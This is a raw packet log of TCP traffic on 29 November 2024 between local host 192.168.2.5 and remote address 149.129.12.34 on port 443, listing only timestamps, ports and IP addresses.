Nov 29, 2024 15:46:01.153892994 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.153919935 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.197174072 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.327621937 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.327656031 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.327802896 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.327828884 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.327874899 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.332106113 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.332129002 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.332184076 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.332192898 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.332226992 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.332246065 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.337554932 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.337577105 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.337634087 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.337640047 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.337667942 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.337688923 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.342540026 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.342561007 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.342606068 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.342612982 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.342643023 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.342664003 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.348212004 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.348232031 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.348279953 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.348287106 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.348325014 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.348340988 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.353576899 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.353596926 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.353640079 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.353646994 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.353681087 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.353689909 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.354300022 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.359113932 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.359133959 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.359198093 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.359204054 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.359237909 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.359251976 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.364022017 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.364042044 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.364089012 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.364095926 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.364125967 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.364147902 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.538486958 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.538512945 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.538554907 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.538568974 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.538580894 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.538606882 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.543159008 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.543179035 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.543214083 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.543220997 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.543251991 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.543251991 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.548568010 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.548588991 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.548624992 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.548633099 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.548676014 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.550237894 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.553564072 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.553585052 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.553623915 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.553637981 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.553663015 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.553678989 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.559256077 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.559276104 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.559315920 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.559320927 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.559343100 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.559365034 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.564572096 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.564593077 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.564668894 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.564677000 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.564718962 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.570146084 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.570167065 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.570224047 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.570230961 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.570259094 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.570277929 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.574990988 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.575017929 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.575057983 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.575064898 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.575099945 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.575119972 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.686780930 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.749038935 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.749068022 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.749170065 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.749180079 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.749227047 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.753659964 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.753684998 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.753746986 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.753753901 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.753793001 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.759099960 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.759120941 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.759174109 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.759181976 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.759223938 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.764673948 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.764694929 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.764756918 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.764764071 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.764803886 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.769664049 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.769702911 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.769748926 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.769757032 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.769789934 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.769817114 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.775073051 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.775093079 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.775166035 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.775172949 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.775214911 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.780627012 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.780661106 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.780699015 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.780705929 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.780729055 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.780739069 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.785528898 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.785553932 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.785598040 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.785604954 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.785650015 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.827979088 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.170520067 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.170537949 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.170561075 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.170598984 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.170614958 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.170629025 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.170658112 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.175554991 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.175576925 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.175611973 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.175618887 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.175642967 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.175668001 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.180445910 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.180468082 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.180501938 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.180507898 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.180536985 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.180546045 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.185909033 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.185929060 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.185966015 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.185972929 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.186014891 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.186034918 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.191481113 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.191508055 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.191539049 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.191545010 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.191569090 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.191589117 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.196688890 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.196708918 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.196742058 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.196748972 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.196773052 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.196780920 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.202280998 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.202300072 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.202342033 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.202349901 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.202390909 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.207132101 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.207154036 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.207187891 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.207195044 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.207215071 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.207228899 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.207520962 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.381469011 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.381500006 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.381544113 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.381552935 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.381582022 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.381606102 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.386162043 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.386183977 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.386246920 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.386255980 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.386290073 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.391033888 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.391053915 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.391129971 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.391138077 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.391170979 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.391192913 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.396811008 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.396831989 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.396889925 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.396898031 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.396955013 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.402093887 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.402117968 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.402175903 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.402184010 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.402221918 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.407254934 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.407278061 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.407320976 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.407326937 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.407352924 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.407371998 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.412820101 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.412843943 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.412889957 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.412897110 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.412939072 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.417710066 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.417732000 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.417764902 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.417772055 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.417807102 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.417829037 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.591835022 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.591866970 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.591917038 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.591933012 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.591949940 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.592046976 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.596539021 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.596560001 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.596615076 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.596621990 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.596683025 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.602080107 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.602101088 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.602135897 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.602142096 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.602175951 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.602190971 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.606944084 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.606964111 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.606997013 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.607003927 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.607032061 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.607044935 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.612588882 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.612617016 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.612756968 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.612765074 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.616504908 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.617819071 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.617849112 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.617877007 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.617887974 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.617909908 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.617930889 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.623265028 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.623290062 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.623333931 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.623339891 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.623349905 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.624735117 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.628803968 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.628823042 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.628860950 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.628869057 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.628895998 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.628916025 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.809983015 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.810009956 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.810069084 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.810081005 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.810106993 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.810127020 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.815007925 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.815025091 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.815093994 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.815102100 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.815186024 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.820544004 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.820560932 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.820616961 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.820624113 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.820647001 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.820677996 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.825506926 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.825525045 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.825562000 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.825571060 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.825597048 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.825618029 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.830935001 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.830952883 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.830990076 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.830997944 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.831042051 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.836399078 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.836415052 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.836452961 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.836460114 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.836488008 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.836508036 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.841682911 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.841697931 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.841766119 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.841774940 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.843925953 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.847281933 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.847296953 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.847376108 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.847384930 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:02.847548008 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:02.852828026 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.020849943 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.020874977 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.020966053 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.020988941 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.024557114 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.025983095 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.026000977 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.026046038 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.026052952 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.028518915 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.030915976 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.030932903 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.030982018 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.030994892 CET	443	49704	149.129.12.34	192.168.2.5
